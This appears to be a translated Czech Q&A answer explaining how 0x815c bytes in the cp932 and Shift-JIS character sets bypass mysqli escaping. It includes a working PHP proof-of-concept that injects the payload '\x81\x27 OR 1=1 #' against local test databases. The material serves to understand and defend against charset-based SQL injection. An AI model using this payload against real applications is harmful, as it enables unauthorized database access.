sql >> Databáze >  >> RDS >> Mysql

Jak vytvořit útok SQL injection pomocí Shift-JIS a CP932?

Ďábel se skrývá v detailech... začněme tím, jak odpovědět na otázku popisuje seznam zranitelných znakových sad:

To nám dává určitý kontext - 0xbf5c se používá jako příklad pro gbk , nikoli jako univerzální znak, který se má použít pro všech 5 znakových sad.
Stává se, že stejná sekvence bajtů je také platným znakem pod big5 a gb2312 .

V tomto okamžiku bude vaše otázka tak snadná jako tato:

Abych byl spravedlivý, většina vyhledávání na Googlu, která jsem zkoušel pro tyto znakové sady, nedává žádné užitečné výsledky. Ale našel jsem tento soubor CP932.TXT , ve kterém, pokud hledáte '5c ' (s mezerou tam), skočíte na tento řádek:

A máme vítěze! :)

Nějaký dokument Oracle potvrzuje, že 0x815c je stejný znak pro oba cp932 a sjis a PHP to také rozpozná:

php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)

Zde je PoC skript pro útok:

<?php
$username = 'username';
$password = 'password';

$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
        $mysqli->query("SET NAMES {$charset}");
        $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
        $mysqli->query("USE {$charset}_db");
        $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
        $mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");

        $input = "\x81\x27 OR 1=1 #";
        $input = $mysqli->real_escape_string($input);
        $query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
        $result = $mysqli->query($query);
        if ($result->num_rows > 1)
        {
                echo "{$charset} exploit successful!\n";
        }

        $mysqli->query("DROP DATABASE {$charset}_db");
}



  1. Zálohujte databázi na SQL Server 2017

  2. SELECT INTO a chyba nedeklarované proměnné

  3. Získejte ID tabulky po vložení pomocí ColdFusion a MySQL

  4. Použití proměnné v dotazu OPENROWSET